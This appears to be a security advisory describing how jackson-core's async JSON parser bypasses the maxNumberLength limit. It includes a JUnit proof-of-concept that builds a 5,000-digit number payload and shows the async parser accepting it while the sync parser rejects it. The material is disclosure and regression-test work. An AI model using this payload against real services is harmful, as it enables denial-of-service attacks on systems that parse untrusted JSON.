Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
- After parsing, they call
_valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
- The
resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
- Because this validation step is skipped, the
maxNumberLength constraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
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